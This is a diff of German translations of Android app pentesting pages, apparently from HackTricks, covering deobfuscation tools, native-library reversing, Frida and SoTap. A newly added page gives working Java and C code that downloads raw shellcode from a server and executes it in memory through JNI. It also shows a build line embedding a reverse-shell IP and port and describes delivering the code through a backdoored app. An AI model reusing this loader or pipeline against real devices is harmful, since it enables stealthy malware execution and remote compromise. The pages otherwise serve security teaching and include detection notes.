@@ -761,23 +765,23 @@ It is able to:
 
 ### Koodous
 
-Nützlich zur Erkennung von malware: [https://koodous.com/](https://koodous.com/)
+Nützlich zur Erkennung von Malware: [https://koodous.com/](https://koodous.com/)
 
-## Obfuscating/Deobfuscating code
+## Obfuskierung/Deobfuskierung von Code
 
-Beachte, dass abhängig vom Service und der Konfiguration, die du zum obfuscate des Codes verwendest, secrets möglicherweise obfuscated bleiben oder nicht.
+Beachte, dass abhängig vom Service und der Konfiguration, die du zur Obfuskierung des Codes verwendest, Secrets obfuskiert sein können oder nicht.
 
 ### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
 
-From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
+Aus [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** ist ein Open-Source-Kommandozeilen-Tool, das Java-Code schrumpft, optimiert und obfuskiert. Es kann Bytecode optimieren sowie unbenutzte Anweisungen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, Version 2 verteilt.
 
-ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
+ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der Anwendung im Release-Modus.
 
 ### [DexGuard](https://www.guardsquare.com/dexguard)
 
-Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
+Eine Schritt-für-Schritt-Anleitung zum Deobfuskieren der APK findest du unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
 
-(From that guide) Last time we checked, the Dexguard mode of operation was:
+(Aus dieser Anleitung) Als wir das letzte Mal nachgesehen haben, war der Betriebsmodus von Dexguard:
 
 - load a resource as an InputStream;
 - feed the result to a class inheriting from FilterInputStream to decrypt it;
@@ -787,9 +791,9 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
 
 ### [DeGuard](http://apk-deguard.com)
 
-**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
+**DeGuard kehrt den Obfuskierungsprozess um, der von Android-Obfuscation-Tools durchgeführt wird. Das ermöglicht zahlreiche Sicherheitsanalysen, einschließlich Code-Inspektion und Vorhersage von Bibliotheken.**
 
-You can upload an obfuscated APK to their platform.
+Du kannst eine obfuskierte APK auf ihre Plattform hochladen.
 
 ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
@@ -803,7 +807,7 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app**
 
 APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
 
-### Manual
+### Handbuch
 
 [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
 
@@ -811,24 +815,20 @@ APKiD gives you information about **how an APK was made**. It identifies many **
 
 ### [Androl4b](https://github.com/sh4hin/Androl4b)
 
-AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
+AndroL4b ist eine Android-Security-VM basierend auf ubuntu-mate und enthält eine Sammlung aktueller Frameworks, Tutorials und Labs von verschiedenen Security-Enthusiasten und Forschern für reverse engineering und malware analysis.
 
-## References
+## Referenzen
 
 - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
-- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources
+- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es ist eine großartige Liste von Ressourcen
 - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
-- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
+- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
 - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
 - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
 - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
 - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
-
-## Yet to try
-
-- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
-- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
+- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
 
 {{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md

@@ -0,0 +1,121 @@
+# Android: In-Memory-Ausführung nativen Codes über JNI (shellcode)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Diese Seite dokumentiert ein praktisches Muster, um native payloads vollständig im Speicher aus einem nicht vertrauenswürdigen Android-App-Prozess mithilfe von JNI auszuführen. Der Ablauf vermeidet das Erstellen einer nativen Binärdatei auf der Festplatte: lade rohe shellcode-Bytes über HTTP(S) herunter, übergib sie an eine JNI-Bridge, allokiere RX-Speicher und springe dorthin.
+
+Warum es wichtig ist
+- Verringert forensische Artefakte (kein ELF auf der Festplatte)
+- Kompatibel mit „stage-2“ native payloads, die aus einer ELF-Exploit-Binärdatei erzeugt wurden
+- Entspricht der tradecraft moderner Malware und red teams
+
+Hochrangiges Muster
+1) Hole shellcode-Bytes in Java/Kotlin
+2) Rufe eine native Methode (JNI) mit dem Byte-Array auf
+3) In JNI: alloziere RW-Speicher → kopiere Bytes → mprotect zu RX → rufe entrypoint auf
+
+Minimales Beispiel
+
+Java/Kotlin-Seite
+```java
+public final class NativeExec {
+static { System.loadLibrary("nativeexec"); }
+public static native int run(byte[] sc);
+}
+
+// Download and execute (simplified)
+byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
+int rc = NativeExec.run(sc);
+```
+C JNI-Seite (arm64/amd64)
+```c
+#include <jni.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <unistd.h>
+
+static inline void flush_icache(void *p, size_t len) {
+__builtin___clear_cache((char*)p, (char*)p + len);
+}
+
+JNIEXPORT jint JNICALL
+Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
+jsize len = (*env)->GetArrayLength(env, sc);
+if (len <= 0) return -1;
+
+// RW anonymous buffer
+void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+if (buf == MAP_FAILED) return -2;
+
+jboolean isCopy = 0;
+jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
+if (!bytes) { munmap(buf, len); return -3; }
+
+memcpy(buf, bytes, len);
+(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
+
+// Make RX and execute
+if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
+flush_icache(buf, len);
+
+int (*entry)(void) = (int (*)(void))buf;
+int ret = entry();
+
+// Optional: restore RW and wipe
+mprotect(buf, len, PROT_READ | PROT_WRITE);
+memset(buf, 0, len);
+munmap(buf, len);
+return ret;
+}
+```
+Anmerkungen und Hinweise
+- W^X/execmem: Modernes Android erzwingt W^X; anonyme PROT_EXEC-Mappings sind für App-Prozesse mit JIT in der Regel weiterhin erlaubt (abhängig von der SELinux-Policy). Einige Geräte/ROMs schränken dies ein; greife bei Bedarf auf JIT-allocated exec pools oder native bridges zurück.
+- Architekturen: Stelle sicher, dass die shellcode-Architektur mit dem Gerät übereinstimmt (arm64-v8a häufig; x86 nur auf Emulatoren).
+- Entrypunkt-Kontrakt: Entscheide eine Konvention für deinen shellcode-Einstieg (keine args vs. Strukturzeiger). Halte ihn positionsunabhängig (PIC).
+- Stabilität: Instruktions-Cache vor dem Springen leeren; ein nicht übereinstimmender Cache kann auf ARM zum Absturz führen.
+
+Packaging ELF → position‑independent shellcode
+Eine robuste Operator-Pipeline sieht folgendermaßen aus:
+- Erstelle dein exploit als statisches ELF mit musl-gcc
+- Wandle das ELF in ein selbstladendes shellcode-Blob um, indem du pwntools’ shellcraft.loader_append verwendest
+
+Build
+```bash
+musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
+-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
+```
+ELF in raw shellcode umwandeln (amd64-Beispiel)
+```python
+# exp2sc.py
+from pwn import *
+context.clear(arch='amd64')
+elf = ELF('./exploit')
+loader = shellcraft.loader_append(elf.data, arch='amd64')
+sc = asm(loader)
+open('sc','wb').write(sc)
+print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
+```
+Warum loader_append funktioniert: Es erzeugt einen winzigen Loader, der die eingebetteten ELF program segments im Speicher mappt und die Kontrolle an dessen entrypoint übergibt, wodurch du ein einzelnes raw blob erhältst, das memcpy’ed und von der App ausgeführt werden kann.
+
+Delivery
+- Host sc on an HTTP(S) server you control
+- The backdoored/test app downloads sc and invokes the JNI bridge shown above
+- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
+
+Validation workflow for kernel payloads
+- Use a symbolized vmlinux for fast reversing/offset recovery
+- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
+
+Hardening/Detection (blue team)
+- Verbiete anonymous PROT_EXEC in App-Domänen, wo möglich (SELinux policy)
+- Setze strikte Code-Integrität durch (kein dynamisches native loading aus dem Netzwerk) und validiere Update-Kanäle
+- Überwache verdächtige mmap/mprotect-Übergänge zu RX und große byte-array Kopien vor Sprüngen
+
+References
+- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
+- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
+- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
+- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
+- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
+
+{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md

@@ -1,16 +1,16 @@
-# Reversing Native Libraries
+# Reverse-Engineering nativer Bibliotheken
 
 {{#include ../../banners/hacktricks-training.md}}
 
 
-**Für weitere Informationen:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
+**Für weitere Informationen siehe:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
 
-Android-Apps können native Bibliotheken verwenden, typischerweise in C oder C++, für leistungsintensive Aufgaben. Malware-Autoren missbrauchen diese Bibliotheken ebenfalls, weil ELF shared objects immer noch schwerer zu dekompilieren sind als DEX/OAT byte-code.
-Diese Seite konzentriert sich auf *praktische* Workflows und *aktuelle* Verbesserungen der Tools (2023–2025), die das reversing von Android `.so`-Dateien erleichtern.
+Android-Apps können native Bibliotheken verwenden, typischerweise in C oder C++ geschrieben, für performance-kritische Aufgaben. Malware-Autoren missbrauchen diese Bibliotheken ebenfalls, weil ELF shared objects immer noch schwieriger zu dekompilieren sind als DEX/OAT byte-code.
+Diese Seite konzentriert sich auf *praktische* Workflows und *aktuelle* Tool-Verbesserungen (2023–2025), die das Reverse-Engineering von Android `.so`-Dateien erleichtern.
 
 ---
 
-### Schneller Triage-Workflow für eine frisch gezogene `libfoo.so`
+### Schneller Triage-Workflow für eine frisch extrahierte `libfoo.so`
 
 1. **Extract the library**
 ```bash
@@ -19,32 +19,32 @@ adb shell "run-as <pkg> cat lib/arm64-v8a/libfoo.so" > libfoo.so
 # Or from the APK (zip)
 unzip -j target.apk "lib/*/libfoo.so" -d extracted_libs/
 ```
-2. **Identify architecture & protections**
+2. **Architektur & Schutzmechanismen identifizieren**
 ```bash
 file libfoo.so        # arm64 or arm32 / x86
 readelf -h libfoo.so  # OS ABI, PIE, NX, RELRO, etc.
 checksec --file libfoo.so  # (peda/pwntools)
 ```
-3. **List exported symbols & JNI bindings**
+3. **Exportierte Symbole & JNI-Bindings auflisten**
 ```bash
 readelf -s libfoo.so | grep ' Java_'     # dynamic-linked JNI
 strings libfoo.so   | grep -i "RegisterNatives" -n   # static-registered JNI
 ```
-4. **Load in a decompiler** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) and run auto-analysis.
-Neuere Ghidra-Versionen enthalten einen AArch64-Decompiler, der PAC/BTI-Stubs und MTE-Tags erkennt und die Analyse von Bibliotheken, die mit dem Android 14 NDK erstellt wurden, deutlich verbessert.
-5. **Decide on static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
+4. **In einen Decompiler laden** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) und die Auto-Analyse laufen lassen.
+Neuere Ghidra-Versionen haben einen AArch64-Decompiler eingeführt, der PAC/BTI-Stubs und MTE-Tags erkennt, was die Analyse von Bibliotheken verbessert, die mit dem Android 14 NDK gebaut wurden.
+5. **Zwischen statischem und dynamischem Reverse-Engineering entscheiden:** stark gestrippten oder obfuskierten Code erfordert oft *Instrumentation* (Frida, ptrace/gdbserver, LLDB).
 
 ---
 
-### Dynamische Instrumentation (Frida ≥ 16)
+### Dynamische Instrumentierung (Frida ≥ 16)
 
 Die 16er-Serie von Frida brachte mehrere Android-spezifische Verbesserungen, die helfen, wenn das Ziel moderne Clang/LLD-Optimierungen verwendet:
 
-* `thumb-relocator` can now *hook tiny ARM/Thumb functions* generated by LLD’s aggressive alignment (`--icf=all`).
-* Enumerating and rebinding *ELF import slots* works on Android, enabling per-module `dlopen()`/`dlsym()` patching when inline hooks are rejected.
-* Java hooking was fixed for the new **ART quick-entrypoint** used when apps are compiled with `--enable-optimizations` on Android 14.
+* `thumb-relocator` kann jetzt *sehr kleine ARM/Thumb-Funktionen* hooken, die durch LLDs aggressive Alignment (`--icf=all`) erzeugt werden.
+* Das Auflisten und Neu-Binden von *ELF import slots* funktioniert auf Android und ermöglicht pro-Modul `dlopen()`/`dlsym()`-Patching, wenn Inline-Hooks abgelehnt werden.
+* Java-Hooking wurde für den neuen **ART quick-entrypoint** behoben, der verwendet wird, wenn Apps mit `--enable-optimizations` auf Android 14 kompiliert werden.
 
-Beispiel: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
+Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
 ```javascript
 Java.perform(function () {
 var Runtime = Java.use('java.lang.Runtime');
@@ -61,18 +61,18 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
 });
 });
 ```
-Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
+Frida funktioniert sofort auf PAC/BTI-aktivierten Geräten (Pixel 8/Android 14+), solange du frida-server 16.2 oder neuer verwendest – frühere Versionen konnten das Padding für inline hooks nicht finden.
 
-### Process-local JNI telemetry via preloaded .so (SoTap)
+### Prozesslokale JNI-Telemetrie über vorab geladenes .so (SoTap)
 
-Wenn vollumfängliche Instrumentierung übertrieben oder blockiert ist, kannst du trotzdem native Sichtbarkeit gewinnen, indem du einen kleinen Logger im Zielprozess vorgeladen. SoTap ist eine leichte Android native (.so) Bibliothek, die das Laufzeitverhalten anderer JNI (.so) Bibliotheken im selben App-Prozess protokolliert (no root required).
+Wenn vollumfängliche Instrumentation übertrieben oder blockiert ist, kannst du trotzdem Sichtbarkeit auf Native-Ebene erreichen, indem du einen kleinen Logger im Zielprozess preloadest. SoTap ist eine leichte Android native (.so) Bibliothek, die das Laufzeitverhalten anderer JNI (.so) Bibliotheken im selben App-Prozess protokolliert (kein Root erforderlich).
 
-Wichtige Eigenschaften:
+Wesentliche Eigenschaften:
 - Initialisiert früh und beobachtet JNI/native Interaktionen innerhalb des Prozesses, der es lädt.
-- Persistiert Logs über mehrere beschreibbare Pfade mit einem sauberen Fallback zu Logcat, wenn der Speicher eingeschränkt ist.
-- Quellcode-anpassbar: bearbeite sotap.c, um zu erweitern/anpassen, was geloggt wird, und baue pro ABI neu.
+- Persistiert Logs über mehrere schreibbare Pfade mit elegantem Fallback auf Logcat, wenn Speicher eingeschränkt ist.
+- Quellcode-anpassbar: editier sotap.c, um zu erweitern/anzupassen, was geloggt wird, und baue pro ABI neu.
 
-Setup (repack the APK):
+Einrichtung (repack the APK):
 1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
 - lib/arm64-v8a/libsotap.so (for arm64)
 - lib/armeabi-v7a/libsotap.so (for arm32)
@@ -92,30 +92,40 @@ Log paths (checked in order):
 # If all fail: fallback to Logcat only
 ```
 Hinweise und Fehlerbehebung:
-- ABI-Ausrichtung ist zwingend. Eine Nichtübereinstimmung löst eine UnsatisfiedLinkError aus und der Logger wird nicht geladen.
-- Speicherbeschränkungen sind auf modernen Android-Geräten üblich; wenn Datei-Schreibvorgänge fehlschlagen, gibt SoTap weiterhin über Logcat aus.
-- Verhalten und Ausgabedetailgrad sind anpassbar; nach Änderungen an sotap.c aus dem Quellcode neu bauen.
+- ABI-Ausrichtung ist zwingend erforderlich. Eine Nichtübereinstimmung führt zu UnsatisfiedLinkError und der Logger wird nicht geladen.
+- Speicherbeschränkungen sind auf modernen Android-Geräten üblich; wenn Dateischreibvorgänge fehlschlagen, gibt SoTap weiterhin über Logcat aus.
+- Verhalten/Ausführlichkeitsgrad ist zur Anpassung gedacht; nach Bearbeitung von sotap.c neu aus dem Quellcode bauen.
 
-Dieser Ansatz ist nützlich für Malware-Triage und JNI-Debugging, wenn das Beobachten nativer Aufrufflüsse vom Prozessstart an kritisch ist, aber Root-/systemweite Hooks nicht verfügbar sind.
+Dieser Ansatz ist nützlich für Malware-Triage und JNI-Debugging, wenn das Beobachten nativer Aufrufabläufe vom Prozessstart an kritisch ist, aber Root-/systemweite Hooks nicht verfügbar sind.
 
 ---
 
-### Jüngste Schwachstellen, nach denen man in APKs suchen sollte
+### See also: in‑memory native code execution via JNI
 
-| Year | CVE | Affected library | Notes |
-|------|-----|------------------|-------|
-|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap-Buffer-Overflow, zugänglich aus nativen Code, der WebP-Bilder decodiert. Mehrere Android-Apps enthalten verwundbare Versionen. Wenn Sie eine `libwebp.so` in einer APK finden, prüfen Sie deren Version und versuchen Sie Exploitierung oder Patchen.| |
-|2024|Multiple|OpenSSL 3.x series|Mehrere Speicher-Sicherheits- und Padding-Oracle-Probleme. Viele Flutter- & ReactNative-Bundles liefern ihre eigene `libcrypto.so` mit.|
+Ein gängiges Angriffs‑Pattern besteht darin, zur Laufzeit ein rohes Shellcode‑Blob herunterzuladen und es direkt aus dem Speicher über eine JNI‑Brücke auszuführen (kein ELF auf der Festplatte). Details und ein einsatzbereites JNI‑Schnipsel hier:
 
-Wenn Sie *third-party* `.so`-Dateien in einer APK entdecken, gleichen Sie deren Hash stets mit Upstream-Advisories ab. SCA (Software Composition Analysis) ist auf Mobilgeräten selten, daher sind veraltete, verwundbare Builds weit verbreitet.
+{{#ref}}
+in-memory-jni-shellcode-execution.md
+{{#endref}}
 
 ---
 
-### Anti-Reversing & Hardening trends (Android 13-15)
+### Aktuelle Schwachstellen, nach denen man in APKs suchen sollte
 
-* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiviert PAC/BTI in Systembibliotheken auf unterstütztem ARMv8.3+ Silizium. Decompiler zeigen jetzt PAC-bezogene Pseudo-Instruktionen; für dynamische Analyse injiziert Frida Trampoline *nachdem* PAC entfernt wurde, aber Ihre eigenen Trampoline sollten bei Bedarf `pacda`/`autibsp` aufrufen.
-* **MTE & Scudo hardened allocator:** Memory-Tagging ist optional, aber viele Play-Integrity-bewusste Apps werden mit `-fsanitize=memtag` gebaut; verwenden Sie `setprop arm64.memtag.dump 1` plus `adb shell am start ...`, um Tag-Faults zu erfassen.
-* **LLVM Obfuscator (opaque predicates, control-flow flattening):** Kommerzielle Packer (z. B. Bangcle, SecNeo) schützen zunehmend *nativen* Code, nicht nur Java; erwarten Sie gefälschte Kontrollflüsse und verschlüsselte String-Blobs in `.rodata`.
+| Jahr | CVE | Betroffene Bibliothek | Anmerkungen |
+|------|-----|-----------------------|-------------|
+|2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap-Pufferüberlauf, erreichbar aus nativem Code, der WebP-Bilder dekodiert. Mehrere Android-Apps bündeln verwundbare Versionen. Wenn Sie ein `libwebp.so` in einem APK sehen, prüfen Sie die Version und versuchen Sie, es auszunutzen oder zu patchen.| |
+|2024|Multiple|OpenSSL 3.x series|Mehrere Memory-Safety- und Padding-Oracle-Probleme. Viele Flutter- & ReactNative-Bundles liefern ihre eigene `libcrypto.so`.|
+
+Wenn Sie *third-party* `.so`-Dateien in einem APK finden, prüfen Sie immer deren Hash gegen Upstream-Hinweise. SCA (Software Composition Analysis) ist auf Mobilgeräten unüblich, daher sind veraltete, verwundbare Builds weit verbreitet.
+
+---
+
+### Anti-Reversing & Hardening-Trends (Android 13-15)
+
+* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 aktiviert PAC/BTI in Systembibliotheken auf unterstützter ARMv8.3+ Hardware. Decompiler zeigen nun PAC‑bezogene Pseudo‑Instruktionen; für dynamische Analysen injiziert Frida Trampoline *nach* dem Entfernen von PAC, aber eigene Trampoline sollten `pacda`/`autibsp` aufrufen, wo nötig.
+* **MTE & Scudo hardened allocator:** Memory-Tagging ist optional, aber viele Play-Integrity-bewusste Apps werden mit `-fsanitize=memtag` gebaut; benutzen Sie `setprop arm64.memtag.dump 1` plus `adb shell am start ...`, um Tag-Fehler zu erfassen.
+* **LLVM Obfuscator (opaque predicates, control-flow flattening):** Kommerzielle Packager (z. B. Bangcle, SecNeo) schützen zunehmend *nativen* Code, nicht nur Java; erwarten Sie gefälschte Kontrollflüsse und verschlüsselte String‑Blobs in `.rodata`.
 
 ---
 
@@ -127,10 +137,11 @@ Wenn Sie *third-party* `.so`-Dateien in einer APK entdecken, gleichen Sie deren
 
 ### Referenzen
 
-- Frida 16.x Änderungsprotokoll (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
-- NVD-Meldung für `libwebp`-Overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
-- SoTap: Leichter In-App-JNI (.so)-Verhaltenslogger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
+- Frida 16.x Changelog (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
+- NVD-Hinweis für `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
+- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
 - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
-- Wie arbeitet man mit SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- Wie mit SoTap arbeiten? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
+- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
 
 {{#include ../../banners/hacktricks-training.md}}